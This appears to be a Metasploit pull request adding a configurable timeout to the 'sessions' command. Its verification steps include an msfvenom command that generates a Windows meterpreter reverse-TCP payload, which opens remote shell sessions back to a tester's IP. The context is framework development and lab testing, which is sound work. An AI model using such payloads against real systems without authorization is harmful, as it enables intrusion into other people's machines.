Fix #4431 - Support arbitrary session response timeout

Fix #4431 

This improves a problem with the session command idling too long, making it look like it's unresponsive or dead from the user's perspective. Painful to use against multiple hosts especially when using -c (execute). Instead of having a hardcoded timeout, this patch allows the value to be configurable.

## Verification

Make sure to do this:

- [ ] ```./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Your IP] -f exe > /tmp/x86.exe```
- [ ] Copy and paste x86.exe to a Windows machine
- [ ] Start msfconsole
- [ ] For your listener, make sure you do: ```set exitonsession false``` and ```run -j```
- [ ] Execute the x86.exe file a couple of times so you get multiple sessions
- [ ] After getting those sessions, make sure you're at the msf prompt
- [ ] Do: ```sessions -c calc -t 1```
- [ ] You should see a bunch of calcs on the Windows machine.
- [ ] You should also see a bunch of Operation Timeouts on msfconsole
- [ ] Do ```sessions -c calc```
- [ ] You should see calc for all your sessions again, but this time it's pretty slow
- [ ] This time, you will wait about 15 seconds to see each Operation Timeout on msfconsole
- [ ] Do ```sessions -K```
- [ ] You should be able to kill all the sessions